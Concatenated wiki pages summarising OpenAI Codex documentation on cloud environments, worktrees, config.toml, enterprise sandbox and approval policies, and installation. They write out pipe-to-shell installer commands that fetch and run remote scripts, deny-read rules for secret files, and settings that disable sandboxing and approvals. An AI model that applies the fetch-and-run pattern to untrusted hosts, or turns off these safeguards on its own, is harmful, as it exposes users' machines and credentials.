Configured at Codex settings → environments (`chatgpt.com/codex/settings/environments`).

- **Image**: the default `universal` container pre-installs common languages and tools; pin runtime versions via **Set package versions**. Reference Dockerfile: [openai/codex-universal](https://github.com/openai/codex-universal).
- **Environment variables vs secrets**: variables persist for the full task. Secrets get an extra encryption layer, are decrypted only for task execution, and are available **only to setup scripts** — they're removed before the agent phase.
- **Automatic setup** handles `npm`, `yarn`, `pnpm`, `pip`, `pipenv`, and `poetry` projects; otherwise write a manual setup script, e.g.:

```bash
# Install type checker
pip install pyright

# Install dependencies
poetry install --with test
pnpm install
```

Setup scripts run in a separate Bash session, so `export` does not persist into the agent phase — persist env vars via `~/.bashrc` or environment settings.

- **Container caching**: state is cached up to 12 hours. Cached containers re-run the optional maintenance script on resume. Cache invalidates automatically when you change setup/maintenance scripts, env vars, or secrets; otherwise select **Reset cache**. For Business/Enterprise, caches are shared across all users of the environment.
- All outbound traffic passes through an HTTP/HTTPS network proxy for security and abuse prevention.

## Local environments (Codex app)

Local environments configure setup steps for worktrees plus common actions for a project. Config lives in the `.codex` folder at the project root and can be checked into Git to share. Two pieces:

- **Setup scripts** run automatically when Codex creates a new worktree (worktrees start in a fresh directory missing installed dependencies), e.g. `npm install` then `npm run build`. Platform-specific variants (macOS/Windows/Linux) can override the default.
- **Actions** are one-click commands (e.g. `npm start`) shown in the app top bar, run in the integrated terminal.

## Worktrees (Codex app)

Worktrees let the app run multiple independent threads in one project using [Git worktrees](https://git-scm.com/docs/git-worktree): a second checkout sharing the same `.git` metadata. Think Local = foreground, Worktree = background. [[concepts/automations]] run on dedicated background worktrees in Git repos.

- Select **Worktree** under the composer (the mode selector appears in the **new-thread composer only**), pick a starting branch, and submit. Uncommitted changes carry over **only when the selected branch is your current branch holding them** — basing on any other branch yields that branch's last commit, clean (field-verified 2026-06-11). Codex creates the worktree in `$CODEX_HOME/worktrees` in **detached HEAD** state (`git status` reads "not currently on any branch" — expected) so it never pollutes your branches.
- **Handoff** moves a thread (and its code) between Local and Worktree in either direction; each thread keeps the same associated worktree. `.gitignore`d files don't move with the thread. **Reliability caveat (2026-06):** the Hand off control has been missing from worktree threads (issue #14141, closed unresolved; field-confirmed on Windows) and Windows handoff didn't merge back when present (#15314, open) — manual exits in [[summaries/casebook-runtime]] cases E1–E2.
- To stay on the worktree, use **Create branch here** (it names the branch only — it does **not** commit; commit the work onto it first), then push/PR from there. Git allows a branch checked out in only one place — checking it out locally too fails with `fatal: 'feature/a' is already used by worktree at '<WORKTREE_PATH>'`. Release it with `git switch --detach` in the worktree (or Handoff, when present); merging from Local (`git merge <branch>`) works even while the branch is checked out in the worktree.
- Codex-managed worktrees are disposable; **permanent worktrees** (created from a project's three-dot menu) are long-lived, multi-thread, and never auto-deleted. By default Codex keeps the most recent 15 managed worktrees, snapshots work before deletion, and offers restore if you reopen the thread. You can't control where worktrees are created.

## Remote connections

Remote access uses the connected host's projects, threads, files, credentials, permissions, plugins, and tools — your phone only sends prompts, approvals, and follow-ups. Setup: in the Codex App ([[entities/codex-app]]) select **Set up Codex mobile**, scan the QR code with the ChatGPT mobile app, confirm the same account/workspace. Manage devices under **Settings > Connections**. Workspace admins may need to enable Remote Control access.

Host rules: macOS and Windows hosts are supported; Windows can't control another computer. The host must stay awake, online, and signed in — sleep stops remote access. A relay layer keeps hosts reachable without public exposure.

For **SSH hosts**, add a concrete alias to `~/.ssh/config` (pattern-only hosts are ignored):

```text
Host devbox
  HostName devbox.example.com
  User you
  IdentityFile ~/.ssh/id_ed25519
```

Verify `ssh devbox` works, install and authenticate Codex on the remote host (the `codex` command must be on the remote login shell's `PATH`), then add the host under **Settings > Connections** and pick a project folder. Never expose app-server transports on shared/public networks — use a VPN or mesh networking instead.

## When To Use

- **Cloud task**: delegated, parallel background work on a GitHub-hosted repo; no local machine needed.
- **Worktree**: parallel local work without disturbing your checkout; full local toolchain.
- **Remote connection**: steer your own machine (and its credentials/plugins) from elsewhere.

See [[syntheses/surface-picker]] and [[syntheses/workflow-recipes]].

## Risks & Pitfalls

- Cloud requires cloud-hosted GitHub repos; on-prem code needs [[entities/codex-sdk]] instead.
- Secrets vanish before the agent phase — agents needing tokens at runtime must use env vars (less protected).
- Worktrees eat disk (deps, build caches per checkout); frequent automations multiply them.
- A sleeping or locked host silently kills remote sessions.

## Related Concepts

- [[concepts/automations]] — scheduled runs on worktrees
- [[concepts/installation-setup]] — surface setup
- [[concepts/sandboxing-approvals]] — what applies to remote/local sessions
- [[entities/codex-web]], [[entities/codex-app]], [[entities/github-integrations]]

## Sources

Official docs (high confidence): Codex web overview, cloud environments, local environments, worktrees, remote connections.



<!-- ===== codex/wiki/concepts/configuration.md ===== -->

---
title: "Configuration (config.toml)"
type: concept
tags: [configuration, config-toml, profiles, environment-variables, model-providers, feature-flags]
created: 2026-06-10
updated: 2026-06-10
confidence: high
sources: ["raw/llms_txt_doc-config-basics.md", "raw/llms_txt_doc-configuration-reference.md", "raw/github_doc-docs-config-md.md", "raw/github_doc-docs-example-config-md.md", "raw/llms_txt_doc-environment-variables.md", "raw/llms_txt_doc-advanced-configuration.md", "raw/llms_txt_doc-sample-configuration.md"]
---

# Configuration (config.toml)

## Definition

Codex stores durable settings in TOML config files. User-level configuration lives at `~/.codex/config.toml`; project-scoped overrides live in `.codex/config.toml` files inside the repo (loaded only when the project is trusted). The CLI and IDE extension share the same configuration layers. From the IDE extension, open it via the gear icon > **Codex Settings > Open config.toml**.

## How It Works

### Precedence (highest first)

1. CLI flags and `-c`/`--config` overrides
2. Project config: `.codex/config.toml`, project root down to cwd — closest wins; trusted projects only
3. Profile file selected with `--profile profile-name` (`~/.codex/profile-name.config.toml`)
4. User config: `~/.codex/config.toml`
5. System config: `/etc/codex/config.toml` on Unix
6. Built-in defaults

Untrusted projects skip all project `.codex/` layers (config, hooks, rules); user/system layers still load. Managed machines may additionally enforce `requirements.toml` constraints — e.g. disallowing `approval_policy = "never"` or `sandbox_mode = "danger-full-access"`, plus `allowed_sandbox_modes`, `allowed_permission_profiles`, and `windows.allowed_sandbox_implementations` (see [[concepts/enterprise-admin]]).

Project config files cannot override credential/provider/telemetry routing keys — Codex ignores `openai_base_url`, `chatgpt_base_url`, `apps_mcp_product_sku`, `model_provider`, `model_providers`, `notify`, `profile`, `profiles`, `experimental_realtime_ws_base_url`, and `otel` in project-local files and warns at startup.

### One-off CLI overrides

```shell
codex --model gpt-5.4                       # dedicated flag
codex --config model='"gpt-5.4"'            # value is TOML, not JSON
codex --config sandbox_workspace_write.network_access=true
codex --config 'shell_environment_policy.include_only=["PATH","HOME"]'
```

Dot notation sets nested keys (e.g. `mcp_servers.context7.enabled=false`); unparseable values are treated as strings.

## Key Parameters

The options people change most often:

```toml
model = "gpt-5.5"                     # default model
model_reasoning_effort = "high"       # minimal | low | medium | high | xhigh
approval_policy = "on-request"        # untrusted | on-request | never | { granular = {...} }
sandbox_mode = "workspace-write"      # read-only (default) | workspace-write | danger-full-access
personality = "friendly"              # or "pragmatic" or "none"; override live with /personality
web_search = "cached"                 # "live" (= --search) | "disabled"
log_dir = "/absolute/path/to/codex-logs"  # also enables plaintext codex-tui.log

[windows]
sandbox = "elevated"                  # or "unelevated" fallback

[shell_environment_policy]
include_only = ["PATH", "HOME"]       # env vars forwarded to spawned commands
```

Sandbox/approval semantics are covered in [[concepts/sandboxing-approvals]]; named permission profiles (built-ins `:read-only`, `:workspace`, `:danger-full-access`, custom `[permissions.<name>]` + `default_permissions`) are there too.

Other high-value keys from the reference and sample config: `review_model`, `model_context_window`, `model_auto_compact_token_limit` (auto-compaction threshold, see [[concepts/memories-context]]), `model_verbosity` (Responses API only), `project_doc_max_bytes` (default 32768) and `project_doc_fallback_filenames` for [[concepts/agents-md]] discovery, `project_root_markers` (default `[".git"]`), `file_opener` (`vscode` | `cursor` | `windsurf` | `vscode-insiders` | `none` for clickable citations), `cli_auth_credentials_store` ([[concepts/authentication]]), `notify = ["python3", "/path/to/notify.py"]` (external program on `agent-turn-complete`), `[history] persistence = "none"` / `max_bytes`, `[otel]` telemetry export, `[analytics] enabled = false`, `[feedback] enabled = false`, `hide_agent_reasoning` / `show_raw_agent_reasoning`, and `[tui]` options (`notifications`, `notification_method` = `auto`/`osc9`/`bel`, `animations`, `alternate_screen`, keymaps under `[tui.keymap.*]`).

### Feature flags

Toggle optional capabilities under `[features]` in `config.toml`, or per run with `codex --enable feature_name`:

```toml
[features]
shell_snapshot = true
```

Notable keys (defaults in parentheses): `hooks` (true), `fast_mode` (true), `memories` (false — see [[concepts/memories-context]]), `multi_agent` (true — see [[concepts/subagents]]), `personality` (true), `shell_tool` (true), `unified_exec` (true except Windows), `undo` (false), `codex_git_commit` (false, experimental), `apps` (false, experimental). The `web_search*` feature keys are deprecated in favor of top-level `web_search`.

### Profiles

Profiles are named config layers that sit above user config and below project/CLI config. Each profile is its own file, `~/.codex/profile-name.config.toml`, with top-level keys (not nested under `[profiles.name]`):

```toml
# ~/.codex/deep-review.config.toml
model = "gpt-5.5"
model_reasoning_effort = "xhigh"
approval_policy = "on-request"
```

```shell
codex --profile deep-review
codex exec --profile deep-review "review this change"
```

Breaking change: since Codex 0.134.0, `--profile` no longer reads `[profiles.name]` tables from `config.toml`, and top-level `profile = "..."` is unsupported — migrate to separate profile files.

### Environment variables

`config.toml` is for durable settings; env vars cover shell-scoped overrides, secrets, installers, and diagnostics:

| Variable | Purpose |
| --- | --- |
| `CODEX_HOME` | Root for config, auth, logs, sessions, skills (default `~/.codex`; directory must exist) |
| `CODEX_SQLITE_HOME` | SQLite-backed state location (`sqlite_home` config key takes precedence) |
| `CODEX_NON_INTERACTIVE` | `1`/`true`/`yes` skips installer prompts |
| `CODEX_INSTALL_DIR` | Install location for `codex` (default `~/.local/bin`; Windows `%LOCALAPPDATA%\Programs\OpenAI\Codex\bin`) |
| `CODEX_API_KEY` | API key for a single `codex exec` run only |
| `CODEX_ACCESS_TOKEN` | ChatGPT/Codex access token for trusted automation |
| `CODEX_CA_CERTIFICATE` | PEM CA bundle for TLS interception (falls back to `SSL_CERT_FILE`) |
| `RUST_LOG` | Log verbosity (`error`…`trace`, or filters like `codex_core=debug`) |

### Custom model providers

Define providers under `[model_providers.<id>]` (base URL, `wire_api`, `env_key` or `[.auth]` command-backed tokens, headers) and select with `model_provider`. Reserved built-in IDs `openai`, `ollama`, `lmstudio` can't be overridden — use `openai_base_url` to repoint the built-in OpenAI provider (e.g. data residency: `"https://us.api.openai.com/v1"`). A built-in `amazon-bedrock` provider takes nested `[model_providers.amazon-bedrock.aws]` `profile`/`region`. `--oss` uses `oss_provider = "ollama"` (or `"lmstudio"`). Auth options are detailed in [[concepts/authentication]].

## When To Use

- Set durable personal defaults (model, approvals, sandbox) in `~/.codex/config.toml`.
- Commit team conventions in project `.codex/config.toml` (trusted repos).
- Keep variant setups (deep review, cheap model, CI) as profile files.
- Use `-c key=value` for experiments; env vars for secrets and automation.

## Risks & Pitfalls

- `--config` values parse as TOML — strings need quotes inside shell quotes (`--config model='"gpt-5.4"'`).
- Root keys must appear before tables in TOML; a misplaced key silently lands in the previous table.
- Setting `CODEX_HOME` to a nonexistent directory fails — it must already exist.
- Project config is ignored in untrusted projects; if overrides "don't apply", check trust first, then the ignored-keys list.
- `sandbox_mode = "danger-full-access"` disables sandboxing entirely; only use where the environment provides isolation.

## Related Concepts

- [[concepts/sandboxing-approvals]] — approval/sandbox keys in depth
- [[concepts/agents-md]] — instructions vs configuration
- [[concepts/authentication]] — credential storage and forced-login keys
- [[concepts/mcp-integration]] — `[mcp_servers]` tables
- [[concepts/non-interactive-exec]] — config for CI runs
- [[concepts/enterprise-admin]] — `requirements.toml` and managed config

## Sources

Official docs (high confidence): config basics, advanced configuration, configuration reference, sample configuration, environment variables; repo `docs/config.md` and `docs/example-config.md` redirect to the same canonical pages.



<!-- ===== codex/wiki/concepts/enterprise-admin.md ===== -->

---
title: "Enterprise Admin & Governance"
type: concept
tags: [enterprise, admin, requirements-toml, rbac, governance, compliance, security, mdm]
created: 2026-06-10
updated: 2026-06-10
confidence: high
sources: ["raw/llms_txt_doc-admin-setup.md", "raw/llms_txt_doc-managed-configuration.md", "raw/llms_txt_doc-governance.md", "raw/llms_txt_doc-codex-security.md", "raw/llms_txt_doc-codex-security-setup.md", "raw/llms_txt_doc-codex-security-plugin.md", "raw/llms_txt_doc-cyber-safety.md", "raw/llms_txt_doc-improving-the-threat-model.md", "raw/llms_txt_doc-feature-maturity.md"]
---

# Enterprise Admin & Governance

## Definition

How ChatGPT Enterprise/Business admins roll out, constrain, and audit Codex: workspace toggles and RBAC, admin-enforced `requirements.toml` policies vs `managed_config.toml` defaults, analytics/compliance APIs, the Codex Security product, OpenAI's cyber-safety mitigations, and the feature-maturity labels that signal what's production-ready.

## How It Works

Admin control flows through layered configuration that resolves before any user setting. Workspace toggles (`chatgpt.com/admin/settings`) gate whether members can use Codex local, Codex cloud, access tokens, and device-code auth at all; RBAC groups assign policies, resolving to the most permissive across a user's roles. Constraints then reach the developer machine via two mechanisms: `requirements.toml` (hard limits users cannot override — sourced, in precedence order, from cloud-managed policy, macOS MDM, then system files) and `managed_config.toml` (defaults reapplied each launch but changeable mid-session). Requirements tables combine entry-by-entry with earlier sources winning per key, and the first matching group rule applies completely. Observability closes the loop: the Analytics Dashboard and API report usage, and the Compliance API exports prompts, responses, and Codex task metadata for ChatGPT-authenticated usage.

## Key Parameters

Core admin-enforced keys in `requirements.toml`:

- `allowed_approval_policies` / `allowed_sandbox_modes` — block e.g. `--ask-for-approval never` and `--sandbox danger-full-access` (including `--yolo`).
- `default_permissions` + `[allowed_permission_profiles]` — complete profile allowlist for Codex 0.138.0+ (omitted/false = denied; older clients ignore it).
- `allowed_web_search_modes` — e.g. `["cached"]` blocks live search even in full-access sessions.
- `[features]` pins — `browser_use`, `in_app_browser`, `computer_use`, `hooks`; `allow_appshots = false`.
- `[experimental_network]` — `allowed_domains` / `denied_domains`; `managed_allowed_domains_only = true` makes the admin allowlist exclusive.
- `[permissions.filesystem]` `deny_read` globs — presence forces read-only/workspace sandboxes so they're enforceable.
- `[mcp_servers]` — allowlist by name **and** identity; present-but-empty disables all MCP.
- `[rules].prefix_rules` — `prompt`/`forbidden` only; merged with user rules, most restrictive wins.
- `allowed_approvals_reviewers = ["auto_review"]`, `guardian_policy_config`, `[[remote_sandbox_config]]` with `hostname_patterns`.
- Managed defaults (`managed_config.toml`) — recommended: `approval_policy = "on-request"`, `sandbox_mode = "workspace-write"`, `network_access = false`, pinned OTel with `log_user_prompt = false`.

## Rollout (admin setup)

Enterprise posture: no training on enterprise data; zero data retention for App/CLI/IDE (code stays in the developer environment); AES-256 at rest, TLS 1.2+ in transit; audit logging via the ChatGPT Compliance API. Assign three owners up front: workspace owner (settings), security owner (agent permissions), analytics owner (data pipelines). Decide surfaces: **Codex local** (app/CLI/IDE, sandboxed on the developer machine) vs **Codex cloud** (hosted containers, including iOS, Code Review, Slack/Linear tasks) — or both.

1. **Enable in workspace settings** (`chatgpt.com/admin/settings`): **Allow members to use Codex Local** (on by default for new workspaces; when off, clients see `403 - Unauthorized. Contact your ChatGPT administrator for access.`). Optionally allow access tokens (with an expiration limit) and device-code auth for headless CLI sign-in ([[concepts/authentication]]). For cloud: turn on the ChatGPT GitHub Connector and **Allow members to use Codex cloud** (may take up to 10 minutes to appear); optionally enable the Slack app and agent internet access (off by default, allowlist-based).
2. **RBAC**: create a "Codex Users" group and a small "Codex Admin" group; the **Allow members to administer Codex** toggle grants admins workspace analytics, the Policies page, policy-to-group assignment, and cloud environment management. Permissions resolve to the **most permissive** across a user's roles; back groups with SCIM.
3. **Deploy managed policies** from `chatgpt.com/codex/settings/policies` (details below); verify with the policy lookup tools (by group or user email).
4. **Team Config**: check shared defaults into a repo's `.codex` directory — `config.toml` (defaults), `rules/` (out-of-sandbox command control), `skills/` (shared skills, [[concepts/skills-plugins]]). See [[concepts/configuration]].
5. **Cloud setup**: connect repos via the GitHub Connector (GitHub cloud-hosted repos required; on-prem → [[entities/codex-sdk]]; EMU orgs need an org owner to install the Codex GitHub App). Codex uses short-lived, least-privilege GitHub App installation tokens and respects existing permissions and branch protection. Allowlist the published Codex cloud egress IP ranges if your org filters IPs. Configure code review at `chatgpt.com/codex/settings/code-review` ([[entities/github-integrations]]).

## Managed configuration

Two mechanisms, often confused:

- **Requirements (`requirements.toml`)** — admin-enforced constraints users **cannot** override. Conflicting user values fall back to a compatible value with a notification.
- **Managed defaults (`managed_config.toml`)** — starting values reapplied at each launch; users can change them mid-session.

**Requirements precedence** (first value wins per setting): 1) cloud-managed requirements (Business/Enterprise sign-in; cached locally, signed, fetched best-effort), 2) macOS MDM via `com.openai.codex:requirements_toml_base64`, 3) system file `/etc/codex/requirements.toml` (Unix) or `%ProgramData%\OpenAI\Codex\requirements.toml` (Windows). Tables combine entry-by-entry; earlier sources win on the same key, so cloud can set a profile to `false` to veto a system-file allowance. Group rules: first matching rule applies **completely** — Codex doesn't fill unset fields from later matching rules, so treat each policy as a complete profile.

Core constraint example (blocks `--ask-for-approval never` and `--sandbox danger-full-access`, including `--yolo`):

```toml
allowed_approval_policies = ["untrusted", "on-request"]
allowed_sandbox_modes = ["read-only", "workspace-write"]
```

For Codex 0.138.0+, prefer permission profiles (older clients ignore them — don't deploy until the fleet upgrades):

```toml
default_permissions = ":workspace"

[allowed_permission_profiles]
":read-only" = true
":workspace" = true
# ":danger-full-access" is omitted, so it is denied.
```

When the table is present it's the **complete** allowlist — omitted/false profiles are denied, including future built-ins. Admins can define custom profiles (names can't start with `:` or use reserved `filesystem`) in the same source, e.g. an `acme_review_only` extending `:read-only`. Other levers (see [[concepts/sandboxing-approvals]] for the underlying model):

- `allowed_web_search_modes = ["cached"]` blocks live search even in full-access sessions; `[]` allows only `"disabled"`.
- `[features]` pins: `browser_use = false`, `in_app_browser = false`, `computer_use = false`; `allow_appshots = false` disables AppShots.
- `[experimental_network]`: `allowed_domains` / `denied_domains` lists; `managed_allowed_domains_only = true` makes the admin allowlist exclusive.
- `[permissions.filesystem]` `deny_read` globs (e.g. `"/**/*.env"`, `"~/.ssh"`); their presence forces read-only/workspace sandboxes so they're enforceable (Windows: direct file tools only).
- `[rules].prefix_rules` — must use `decision = "prompt"` or `"forbidden"` (never `"allow"`); merge with user `.rules`, most restrictive wins.
- `[mcp_servers]` allowlist matching name **and** identity (`command` for stdio, `url` for HTTP); present-but-empty disables all MCP ([[concepts/mcp-integration]]).
- Managed hooks: `[hooks]` + `managed_dir`; `allow_managed_hooks_only = true` skips user/project/session/plugin hooks; pin `[features].hooks = true` to defeat local opt-out. Scripts ship via MDM, not via Codex.
- `allowed_approvals_reviewers = ["auto_review"]` requires automatic review; `guardian_policy_config` replaces the tenant section of the review policy.
- `[[remote_sandbox_config]]` with `hostname_patterns` relaxes `allowed_sandbox_modes` per host (dev boxes, CI) — pattern match only, not device proof.

**Managed defaults**: precedence is macOS MDM (`config_toml_base64`) > `managed_config.toml` (`/etc/codex/managed_config.toml` Unix; `~/.codex/managed_config.toml` Windows) > user `config.toml`; managed layers even override CLI `--config` flags. Recommended guardrails: `approval_policy = "on-request"`, `sandbox_mode = "workspace-write"`, `network_access = false`, pinned OTel settings with `log_user_prompt = false`. MDM workflow: base64-encode TOML (no wrapping), push under domain `com.openai.codex` via Jamf/Fleet/Kandji; no secrets in payloads.

## Governance and observability

Three tiers: **Analytics Dashboard** (`admin.openai.com/analytics/codex`; up to 12 h lag; active users by surface, credits/tokens by model, threads/turns, user ranking, code-review activity, skill/token usage; CSV/JSON export), **Analytics API** (`https://api.chatgpt.com/v1/analytics/codex`, key scoped to `codex.enterprise.analytics.read` — created on the platform portal, then scope confirmed via support@openai.com; endpoints `/workspaces/{workspace_id}/usage`, `/code_reviews`, `/code_review_responses`; day/week buckets, 90-day lookback, cursor pagination), and **Compliance API** (`https://api.chatgpt.com/v1/compliance/workspaces/{workspace_id}/...` — `logs`, `logs/{log_file_id}`, `codex_tasks`, `codex_environments`; event types like `CODEX_LOG`, `CODEX_SECURITY_LOG`; prompts, responses, identifiers, token metadata; retained up to 30 days; **API-key-authenticated usage is not included**). Deliberately not provided: lines of code, suggestion acceptance rate, quality KPIs.

## Codex Security

Two deliverables share the name. The **cloud product** (research preview; Enterprise/Edu/Business/Pro) scans connected GitHub repos commit-by-commit, validates findings in isolation, and ranks them. Setup: environment exists → create scan (org, repo, branch, environment, history window) → initial backfill can take hours → review findings (Recommended top-10 or All) and open PRs from a finding page. The **threat model** is an editable `project overview` (entry points, trust boundaries, sensitive data paths, review priorities) that steers future scans — edit it first when findings feel off. The **plugin** runs locally in your thread with four skills: `$codex-security:security-scan`, `$codex-security:deep-security-scan` (whole-repo only, higher recall), `$codex-security:security-diff-scan` (pre-merge), `$codex-security:fix-finding` (bounded fix). Scan only code you're authorized to assess; keep first scans read-only.

## Cyber safety and feature maturity

GPT-5.3-Codex is OpenAI's first **High cybersecurity capability** model under the Preparedness Framework: classifier-based monitors route suspicious high-risk traffic to GPT-5.2 (visible in API logs and CLI notices; report false positives via `/feedback`). Affected legitimate users join **Trusted Access for Cyber** (`chatgpt.com/cyber` for individuals; enterprise-wide via OpenAI rep). Separately, features carry maturity labels: **Under development** (don't use), **Experimental** (may vanish), **Beta** (pilots OK), **Stable** (production-safe, deprecation process applies) — useful when deciding what to allow in managed policy.

## When To Use

This page applies when you administer a ChatGPT Business/Enterprise workspace rolling out Codex: enabling surfaces and RBAC, hard-constraining sandbox/approval posture fleet-wide (`requirements.toml`), shipping sane defaults (`managed_config.toml`), wiring usage and compliance reporting, or deploying Codex Security scans. Individual developers tuning their own machine want [[concepts/configuration]] and [[concepts/sandboxing-approvals]] instead — the managed layers only matter to them when a setting mysteriously refuses to change.

## Risks & Pitfalls

- First-matching group policy wins entirely; partial policies leave fields unconstrained, not inherited.
- Deploying `allowed_permission_profiles` before all clients hit 0.138.0 silently no-ops on old clients.
- Legacy `managed_config.toml` `approval_policy`/`sandbox_mode` fields act as single-value requirements — surprising in old deployments.
- Compliance exports miss API-key-authenticated usage; close that gap with API-org policy.

## Related Concepts

- [[concepts/sandboxing-approvals]] — what the policies constrain
- [[concepts/configuration]] — user-level config the managed layers override
- [[concepts/authentication]] — sign-in, SSO, access tokens
- [[concepts/automations]] — `approval_policy = "never"` interaction
- [[syntheses/sandbox-approval-guide]], [[entities/github-integrations]]

## Sources

Official docs (high confidence): admin setup, managed configuration, governance, Codex Security overview/setup/plugin/threat-model, cyber safety, feature maturity.



<!-- ===== codex/wiki/concepts/installation-setup.md ===== -->

---
title: "Installation & Setup"
type: concept
tags: [installation, quickstart, windows, wsl, cli, app, ide-extension]
created: 2026-06-10
updated: 2026-06-10
confidence: high
sources: ["raw/llms_txt_doc-quickstart.md", "raw/github_doc-docs-install-md.md", "raw/github_doc-docs-getting-started-md.md", "raw/llms_txt_doc-windows.md", "raw/llms_txt_doc-windows-2.md"]
---

# Installation & Setup

## Definition

Codex is available on four surfaces: the desktop **app** (macOS and Windows; OpenAI's recommended starting point), the **CLI** (macOS, Windows, Linux), the **IDE extension** (VS Code, Cursor, Windsurf), and **cloud** in the browser at `chatgpt.com/codex`. Every ChatGPT plan includes Codex; you can also use it with API credits via an OpenAI API key (see [[concepts/authentication]]).

## How It Works

Each local surface is a separate install: the app is a desktop bundle (macOS download, or Microsoft Store/`winget` on Windows), the CLI is a single `codex` binary placed on your `PATH` (installer script, `npm -g`, brew cask, or a repo-pinned DotSlash file), and the IDE extension is the `openai.chatgpt` Marketplace package. Cloud needs nothing on disk. All local surfaces share one Codex home — `CODEX_HOME`, default `~/.codex` (`%USERPROFILE%\.codex` on Windows) — holding `config.toml`, cached credentials, sessions, and logs; that is why the CLI and IDE extension share a login, and why a CLI inside WSL can reuse the Windows setup by exporting `CODEX_HOME=/mnt/c/Users/<windows-user>/.codex`.

## Key Parameters

- `CODEX_HOME` — Codex home directory (default `~/.codex`; Windows `%USERPROFILE%\.codex`); set in WSL to share config/auth/sessions with Windows.
- `CODEX_NON_INTERACTIVE=1` — unattended installer runs (bash and PowerShell).
- `[windows] sandbox = "elevated"` or `"unelevated"` — native Windows sandbox mode in `config.toml`.
- `winget install Codex -s msstore` — Windows app install path; Marketplace ID `openai.chatgpt` for the IDE extension.
- `RUST_LOG` — CLI log verbosity; `codex -c log_dir=./.codex-log` enables a plaintext TUI log.
- `/sandbox-add-read-dir C:\absolute\directory\path` — grant the Windows sandbox read access to an extra directory.
- `Set-ExecutionPolicy -ExecutionPolicy RemoteSigned` — fixes the common `npm.ps1 cannot be loaded` PowerShell error.
- `CODEX_HOME/.sandbox/sandbox.log` — Windows sandbox diagnostics (never share `.sandbox-secrets/`).

## Install the Codex app

Download the Codex app for macOS or Windows (choose the Intel build for Intel-based Macs). Linux is not yet supported — there is a notify form at `https://openai.com/form/codex-app/`. On Windows, a command-line install path also exists:

```powershell
winget install Codex -s msstore
```

Enterprises can deploy the Windows app through Microsoft Store app distribution via enterprise management tools.

After installing: open the app, sign in with your ChatGPT account or an OpenAI API key, choose a project folder, make sure **Local** is selected, and send your first message. See [[entities/codex-app]] for app features.

## Install the Codex CLI

Standalone installer (macOS or Linux):

```bash
curl -fsSL https://chatgpt.com/codex/install.sh | sh
```

Windows:

```powershell
powershell -ExecutionPolicy ByPass -c "irm https://chatgpt.com/codex/install.ps1 | iex"
```

For unattended installs, set `CODEX_NON_INTERACTIVE=1` in the shell that runs the installer:

```bash
curl -fsSL https://chatgpt.com/codex/install.sh | CODEX_NON_INTERACTIVE=1 sh
```

```powershell
$env:CODEX_NON_INTERACTIVE=1; irm https://chatgpt.com/codex/install.ps1 | iex
```

Package-manager alternatives:

```bash
npm install -g @openai/codex
brew install --cask codex
```

GitHub Releases also ship a [DotSlash](https://dotslash-cli.com/) file named `codex`, letting a repo pin one CLI version for all contributors regardless of platform. Building from source requires the Rust toolchain (`cargo build` in `codex-rs`); see `raw/github_doc-docs-install-md.md` for the full recipe.

System requirements (CLI, per the open-source repo): macOS 12+, Ubuntu 20.04+/Debian 10+, or Windows 11 via WSL2; Git 2.23+ recommended for PR helpers; 4 GB RAM minimum (8 GB recommended). Note the native Windows path (below) has since matured beyond WSL-only.

Then run `codex` in your terminal and sign in. See [[entities/codex-cli]].

## Install the IDE extension

Install the `openai.chatgpt` extension for VS Code, Cursor, Windsurf, or VS Code Insiders (Marketplace ID: `openai.chatgpt`). The Codex panel appears in the sidebar; sign in with ChatGPT or an API key. Codex starts in Agent mode by default, which lets it read files, run commands, and write changes in your project directory. See [[entities/codex-ide-extension]].

## Codex in the cloud

Go to `chatgpt.com/codex`, set up an environment at `chatgpt.com/codex/settings/environments` by connecting a GitHub repository, then launch tasks from the browser. You can also delegate by tagging `@codex` in a GitHub PR comment. Details in [[concepts/cloud-tasks]] and [[entities/codex-web]].

## Windows specifics

Codex runs on Windows three ways: natively with the stronger `elevated` sandbox, natively with the fallback `unelevated` sandbox, or inside WSL2 (Linux sandbox). Use the native sandbox by default; pick WSL2 when you need Linux-native tooling or your workflow already lives in WSL2. Configure the native mode in `config.toml`:

```toml
[windows]
sandbox = "elevated" # or "unelevated"
```

- **Windows 11** is recommended; Windows 10 is best-effort and requires version 1809+ (ConPTY). `winget` should be available.
- The `elevated` sandbox needs administrator-approved setup (local sandbox users, firewall rules). If enterprise policy blocks it, fall back to `unelevated` (restricted token + ACL boundaries — weaker but sandboxed).
- The Windows app runs the agent in PowerShell by default; you can switch the agent to WSL2 in **Settings** (restart required). WSL1 was supported through Codex `0.114`; from `0.115` the Linux sandbox uses `bubblewrap`, so WSL1 no longer works.
- Codex home on Windows is `%USERPROFILE%\.codex`. To share config/auth/sessions with a CLI inside WSL, set `export CODEX_HOME=/mnt/c/Users/<windows-user>/.codex` in your WSL shell profile.
- PowerShell execution-policy errors (`npm.ps1 cannot be loaded...`) are commonly fixed with `Set-ExecutionPolicy -ExecutionPolicy RemoteSigned`.
- Grant the sandbox read access to an extra directory with `/sandbox-add-read-dir C:\absolute\directory\path`.
- Recommended developer tools via winget: `Git.Git`, `OpenJS.NodeJS.LTS`, `Python.Python.3.14`, `Microsoft.DotNet.SDK.10`, `GitHub.cli` (then `gh auth login`).

CLI inside WSL: `wsl --install` from elevated PowerShell, then inside WSL run the standalone installer. Keep repos under the Linux home (e.g. `~/code/my-app`), not `/mnt/c/...`, for faster I/O.

Full sandbox detail (modes, error 1385, `requirements.toml` enforcement) lives in [[concepts/sandboxing-approvals]] and [[concepts/enterprise-admin]].

## Logging and diagnostics

The CLI honors `RUST_LOG`. Enable a plaintext TUI log for one run with:

```bash
codex -c log_dir=./.codex-log
tail -F ./.codex-log/codex-tui.log
```

`codex exec` defaults to `RUST_LOG=error` and prints messages inline (see [[concepts/non-interactive-exec]]). Windows sandbox diagnostics live at `CODEX_HOME/.sandbox/sandbox.log` — never share `CODEX_HOME/.sandbox-secrets/`.

## When To Use

- **App**: recommended default for local work — projects, parallel threads, review pane.
- **IDE extension**: when you live in VS Code/Cursor/Windsurf.
- **CLI**: terminal workflows, servers, scripting via `codex exec`.
- **Cloud**: delegated background tasks against a GitHub repo.

See [[syntheses/surface-picker]] for a fuller decision guide.

## Risks & Pitfalls

- Codex modifies your codebase — make Git checkpoints before and after tasks so you can revert.
- API-key sign-in disables some cloud features ([[concepts/authentication]]).
- On Windows, enterprise policy frequently blocks `elevated` sandbox setup; plan the fallback.
- Storing repos on `/mnt/c` inside WSL is slow and symlink-prone.

## Related Concepts

- [[concepts/authentication]] — sign-in after install
- [[concepts/configuration]] — `config.toml` and `CODEX_HOME`
- [[concepts/sandboxing-approvals]] — what the sandbox allows
- [[syntheses/troubleshooting-checklist]] — install/startup failures

## Sources

